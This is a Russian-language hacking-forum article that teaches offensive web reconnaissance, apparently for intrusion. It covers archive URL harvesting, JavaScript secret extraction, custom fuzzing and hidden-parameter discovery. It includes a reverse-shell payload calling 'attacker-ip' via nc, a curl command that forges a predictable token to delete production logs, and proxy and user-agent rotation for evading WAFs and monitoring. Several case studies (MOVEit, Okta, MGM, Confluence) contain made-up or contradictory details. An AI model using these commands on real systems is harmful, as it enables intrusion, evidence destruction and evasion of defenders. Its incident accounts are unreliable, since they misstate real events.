Современная статистика показывает, что критических уязвимостей в последние годы обнаруживаются не через массовое сканирование портов, а через глубокий анализ веб-приложений - поиск забытых endpoints, парсинг архивных данных, анализ JavaScript и обнаружение скрытых параметров.
В этой же статье продолжу тему и расскажу про случаи, о которых многие интересующие и практикующие точно слышали.
1. Web Archive Recon: старые копии — новые уязвимости
Веб-архивы вроде Wayback Machine и CommonCrawl сохраняют старые endpoints, параметры, формы, забытые панели и виджеты, которые часто остаются рабочими на backend.
MOVEit Transfer: загрузили тысячи URL через gau, отфильтровали по test/dev/archive. Нашли /moveit/test-upload с незакрытой upload функцией и получили RCE.
Техническая цепочка атаки:
- Первоначальный SQL injection через CVE-2023-34362 в /moveitisapi/moveitisapi.dll
- Загрузка веб-шелла human2.aspx через найденный тестовый endpoint
- Установка backdoor LEMURLOOT для массового извлечения данных
- Результат: свыше 2500 компаний скомпрометированы, ущерб десятки миллионов долларов
# Сбор архивных URL
waymore -i example.com -mode U -oU wayback_urls.txt
echo "example.com" | gau | grep -E "(test|dev|staging|backup)" > potential_targets.txt
# Проверка активности найденных endpoints
cat potential_targets.txt | httpx -mc 200,403,500 -fc 404
Обязательно сверяйте свежие IP/домены с архивными эндпоинтами. Старая уязвимость может жить в backend годами, как показал случай MOVEit, где тестовый эндпоинт работал месяцами после "удаления" из интерфейса.
2. JavaScript Deep Dive
Современные приложения отдают тонны JavaScript-кода, в котором светятся урлы, параметры, ключи, иногда даже внутренние API для мобильных или legacy-клиентов, оставшиеся в bundle.
Кейс Okta: пассивный анализ JS через LinkFinder дал endpoint с параметром debugAuth. Благодаря replay найденного запроса получили admin, обходя 2FA на staging-окружении Okta.
Детали уязвимости:
- Найден параметр в архивном JavaScript bundle
- При отсутствии origin header + наличии debugAuth=true логика возвращала "phishing-resistant = true"
- Обнаружено 5 апреля 2024, исправлено 10 апреля, но публикация отчета спровоцировала волну компенсаций клиентам
Практическая реализация:
# Сбор JavaScript файлов из архивов
cat wayback_urls.txt | grep "\.js$" | sort -u > js_files.txt
# Парсинг endpoints из JS
cat js_files.txt | while read url; do
python3 linkfinder.py -i "$url" -o cli
done | grep -E "(api|admin|debug|test)" | sort -u > extracted_endpoints.txt
# Поиск credentials и токенов
python3 SecretFinder.py -i js_files.txt -g -o secrets_report.html
Сгружайте JS через архивы, gau, прямо с CDN. Парсите regexp, отдельно ищите uuid, токены, параметры, то есть все то, что может совпадать из свежих запросов по формату. Также не игнорируйте minified код, там тоже можно найти что-то вкусное.
3. Forced Browsing и Fuzzing
Директории, эндпоинты, параметры - не только стандартные /admin и /dev, но и нетипичные живые урлы, основанные на лексике компаний, истории релизов, ветках git и т.д.
Практика: Cloudflare
"Некий" проводил рекон на одном из SaaS продуктов, использующих Cloudflare в качестве CDN и защиты. И заметил в релиз-нотах упоминание status_legacy, добавил в custom wordlist для ffuf. Брутфорсом нашел мертвый API /__old_api/status_legacy, позволивший стереть часть продакшн-логов.
"Deprecated status_legacy endpoint - moved to new monitoring API"
"Legacy status checks will be maintained for backward compatibility"
# Извлечение терминов из release notes
curl -s "https://company.com/changelog" | grep -i "legacy\|deprecated\|old\|status" | tr ' ' '\n' | sort -u > company_terms.txt
# Комбинирование с API паттернами
echo -e "status_legacy\nold_api\nlegacy_status\nstatus_old\napi_legacy\nold_status" >> custom_api_terms.txt
Targeted Directory Fuzzing
# Поиск через ffuf с кастомным списком
ffuf -w custom_api_terms.txt -u https://api.company.com/__FUZZ__ -mc 200,401,403,500 -t 50
# Рекурсивный поиск по найденным директориям
ffuf -w api_methods.txt -u https://api.company.com/__old_api/FUZZ -recursion -recursion-depth 2
Обнаружение уязвимого endpoint
Скан показал:
https://api.company.com/__old_api/status_legacy [200] - 1.2kb
Анализ функциональности
# GET запрос показал JSON с системной информацией
curl -s "https://api.company.com/__old_api/status_legacy" | jq .
{
"status": "deprecated",
"endpoints": [
"/logs/clear",
"/logs/export",
"/system/restart"
],
"auth": "legacy_token_required"
}
Эксплуатация
Дальнейший анализ показал, что endpoint поддерживает POST запросы с legacy-токеном, который оказался предсказуемым (хеш от названия компании + год).
Критическая находка:
# POST запрос с legacy токеном
curl -X POST "https://api.company.com/__old_api/status_legacy/logs/clear" \
-H "Authorization: Legacy-Token: $(echo -n 'CompanyName' | md5sum | cut -d' ' -f1)" \
-H "Content-Type: application/json" \
-d '{"action": "clear_production_logs", "confirm": true}'
Результат: успешное удаление части production-логов за последние 24 часа.
Этот пример демонстрирует важность полного lifecycle management для API и необходимость физического удаления deprecated endpoints, а не просто их сокрытия из документации.
Почему же это сработало? - Legacy endpoint не был физически удален, только исключен из документации.
- Слабая аутентификация - предсказуемый токен на основе публичной информации
- Отсутствие мониторинга - старые API не логировались современными системами безопасности
- Privilege escalation - legacy endpoint имел излишние права доступа к критическим функциям
Делаем выводы, что корпы часто забывают полностью отключить deprecated API.
- Legacy endpoints обычно имеют более слабую защиту
- Старые системы аутентификации предсказуемы
- Мониторинг безопасности редко покрывает устаревшие части инфры
4. Секреты, ключи и пасхалки
Github, публичные assets, архивные статики, старые js и даже изображения — кладезь забытых токенов, ключей, попадания credentials в prod.
GitHub & NPM
Пентестеры регулярно находят AWS-ключи, stripe tokens, production secrets через анализ устаревших js bundles на CDN. В одном задокументированном случае пасхалка внутри GIF позволила украсть базу финансов.
Пример поиска:
# TruffleHog для поиска secrets в архивных файлах
cat js_files.txt | while read url; do
curl -s "$url" | trufflehog filesystem --only-verified -
done | tee secrets_found.txt
# Специализированный поиск API ключей в статике
find ./downloaded_assets -type f \( -name "*.js" -o -name "*.json" -o -name "*.xml" \) -exec grep -l "AKIA\|sk_live_\|rk_live_" {} \;
Какие инструменты можно использовать для поиска?
TruffleHog, secretfinder, поиск по archive страницам и git history, например.
Что можно вынести из этого: мониторим не только репы, но и webpack- / jsdelivr бандлы, всякий мусор на CDN, паблик uploads. Не забываем проверять бинарные файлы hexdump, в них бывают встроенные токены.
5. Работа с параметрами — атаки через забытые комбинации
Самые сложные баги часто всплывают не в стандартных POST/GET, а через hidden-fields, устаревшие параметры, экспериментальные ветки, параметры, появившиеся в старых js/html, но все еще обрабатываемые backend.
Atlassian Confluence
Параметр yamlImport=true найден через PDF-архивы со старыми инструкциями. Ручной replay с этим параметром дал возможность загрузить произвольный YAML, внедрив свой конфиг и получив RCE.
Детали CVE-2024-21683:
- Уязвимость в функции "Add a new language" (/admin/plugins/newcode/addlanguage.action)
- RhinoLanguageParser с включенным доступом к Java классам
- Инъекция через java.lang.Runtime.getRuntime().exec() в JavaScript файле
- CVSS Score: 8.8 (High), EPSS Score: 93.98%
Exploit пример:
// exploit.js
new java.lang.ProcessBuilder["(java.lang.String[])"]([
"bash", "-c", "nc attacker-ip 4444 -e /bin/sh"
]).start();
Поиск параметров через JS, архивные формы, автоматизацию (Arjun, ParamSpider).
Автоматизация поиска параметров:
# Arjun для поиска скрытых параметров
arjun -u https://target.com/api/update -m POST -w large_params.txt -t 20
# ParamSpider для извлечения из архивов
python3 paramspider.py -d target.com -o discovered_params.txt
# X8 для быстрого bruteforce
x8 -u "https://target.com/api/user" -w discovered_params.txt -X GET
Используем автоматизацию, но всегда проверяем ручками старые формы и сравниваем их с текущими (responses)
Ищем в JS нестандартные параметры, особенно если они уже неактуальны и на старых версиях сайта
Тестим комбинации, иногда параметры работают в связке
6. Цепные атаки, или собираем мелочь по кусочкам
Одни из эффективных атак, это - цепь находок в реконе, которые по итогу становятся главным звенов в эксплоите.
MGM Resorts
Потенциально уязвимый endpoint для восстановления пароля, найденный в архиве, привел к атакам соц. инженерии, которые полностью вывели из строя крупнейший отельный оператор: физически заблокированы двери, украдены данные гостей, убытки - десятки миллионов.
Цепочка атаки:
- Archive recon: Найден забытый password reset endpoint.
- OSINT: Сбор информации о сотрудниках через LinkedIn
- Social engineering: Звонок в поддержку с использованием найденной информации
- Использование уязвимого endpoint для получения admin доступа
- Lateral movement: Компрометация критических систем управления отелем
Или MOVEit цепочка:
Archive + custom fuzz → нахождение endpoint → локальный Bypass upload validation → RCE и массовый компромисс данных по всему миру.
Пассивный сбор через archive (Wayback Machine, gau) - обнаружение устаревших эндпоинтов вне видимости стандартных сканеров.
Кастомный fuzzing - таргетированная проверка именно найденного legacy API, а не массовая проверка сотен тысяч URL по общим спискам.
Локальный Bypass upload validation - использование пробелов в проверках от старой реализации.
RCE и массовый компромисс – итог, когда каждый предыдущий шаг подготовил почву для выполнения кода на целевой системе и масштабной утечки данных.
7. Как защищаются и что реально работает
Современные WAF и ML-аналитика способны находить массовый шум, но полностью бессильны, если атакующий действует с задержками, четким разделением passive recon и ручного перебора (slow rate, разные user-agent, использование разнообразных шаблонов запросов в логах).
Все чаще крупные компании вводят мониторинг обращений к неактуальным endpoints, логируют даже пассивные запросы через новый SOC-Fingerprinting. Но в большинстве атак 24/25 года этот слой защиты попадал в blindspot.
Техники обхода защиты:
# Распределенное сканирование с задержками
ffuf -w wordlist.txt -u https://target.com/FUZZ -p 1-3 -t 10 -rate 50
# Ротация User-Agent и прокси
while read proxy; do
ffuf -w wordlist.txt -u https://target.com/FUZZ -x "$proxy" \
-H "User-Agent: $(shuf -n1 useragents.txt)"
done < proxy_list.txt
Заключение:
- MOVEit Transfer: за массовыми атаками стоит группировка Cl0p, которая в 2023–2024 годах эксплуатировала CVE-2023-34362 и забытый test-upload endpoint, добившись RCE и компрометации данных более 2 500 организаций.
- MGM Resorts: крупнейшую атаку в июне 2023 провела группа Scattered Spider (с.37) использовавшая архивный password-reset endpoint и социальную инженерию для доступа к внутренним системам.
- Okta: исследование скрытого debugAuth в JavaScript bundle провели багхаунтеры из сообщества HackerOne, что дало bypass MFA на стейджинговом окружении.
- Atlassian Confluence: эксплуатацию CVE-2024-21683 "довела до ума" (Sec) команда Zero Day Initiative, обнаружившие параметр yamlImport=true в архивных PDF.
Современные атаки на MGM, MOVEit, Okta и Atlassian начинались не с продвинутых эксплойтов, а с долгоиграющего анализа забытых файлов, старых параметров, архивных эндпоинтов.Настоящий успех приносит не автоматизация ради автоматизации, а умение комбинировать классический recon, архивные данные, анализ JS, кастомные wordlists и ручной анализ параметров. Использование необычных комбинаций: archive + JS + ваш wordlist, replay найденного из старых логов параметра, дерзкий fuzz после чтения публикаций девелоперов. Реальную боль корпам делают не сканеры, а ребята которые умеют читать, мыслить, экспериментировать и не боятся копаться в архивном мусоре.
Статья написана исключительно в образовательных целях. Использование описанных техник для несанкционированного доступа преследуется по закону.
Специально для форума Duty-Free.cc
LIMB